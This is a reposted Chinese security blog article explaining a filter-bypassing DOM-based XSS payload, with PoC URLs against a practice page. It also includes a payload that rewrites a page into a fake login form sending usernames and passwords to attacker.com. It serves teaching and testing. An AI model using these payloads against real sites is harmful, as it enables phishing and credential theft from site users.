基于DOM的XSS攻击

admin 2026-04-29 05:17:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析基于DOM的XSS攻击技术,展示一个绕过过滤的payload示例:通过分号结束语句、注释符突破HTML环境、img标签onerror事件触发confirm弹窗。文档分析payload各部件作用及两种注入场景(DOM操作和JS执行),提供实战案例演示页面重写钓鱼表单的社会工程学攻击效果。 综合评分: 85 文章分类: WEB安全,漏洞分析,实战经验,安全意识,社会工程学


cover_image

基于 DOM 的 XSS 攻击

原创

JunYi JunYi

毅心安全

2026年4月1日 15:18 广东

在小说阅读器读本章

去阅读

基于 DOM 的 XSS 攻击

payload

1;/*'"><Img/Src/OnError=/**/confirm(1)//>

解析

1;:如果输入点在 JS 环境(如 eval()),这代表一个完整的语句结束。

/*:JS 的多行注释符。它会让 JS 引擎忽略后面用来突破 HTML 环境的字符(如 '"><),防止 JS 报错中断执行。

'":尝试闭合可能存在的单引号或双引号字符串。

>:尝试闭合当前的 HTML 标签。

<Img/Src/OnError=...:这是核心攻击载荷。当之前的标签被闭合后,浏览器会解析这个新标签。由于 Src 为空或无效,会触发 OnError 事件。

/**/:在 OnError 内部使用注释代替空格,用来绕过某些对空格的过滤。

//:JS 的单行注释符。如果是在 JS 环境中,它会注释掉后面可能存在的任何原始代码(如 )!),确保语法正确。

当输入内容最终通过以下方式进入 DOM 时,可以使用以下方法: A. document.write()、innerHTML、outerHTML 或等效的库; B. eval()、setInterval()、setTimeout() 或模板字面量。

PoCs: A:

https://x55.is/brutelogic/dom/sinks.html?name=1;/*%27%22%3E%3CImg/Src/OnError=/**/confirm(1)//%3E

B:

https://x55.is/brutelogic/dom/sinks.html?index=1;/*%27%22%3E%3CImg/Src/OnError=/**/confirm(1)//%3E

实战

A:

进阶

尝试重写页面 …… poc:

document.body.innerHTML = '<h1>Session Expired</h1><form action="http://attacker.com/login"><p>Username: <input name="u"></p><p>Password: <input type="password" name="p"></p><button>Login</button></form>';

效果:

B:


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:毅心安全 JunYi JunYi《基于 DOM 的 XSS 攻击》

基于DOM的XSS攻击 网络安全文章

基于DOM的XSS攻击

文章总结: 本文详细解析基于DOM的XSS攻击技术,展示一个绕过过滤的payload示例:通过分号结束语句、注释符突破HTML环境、img标签onerror事件
评论:0   参与:  0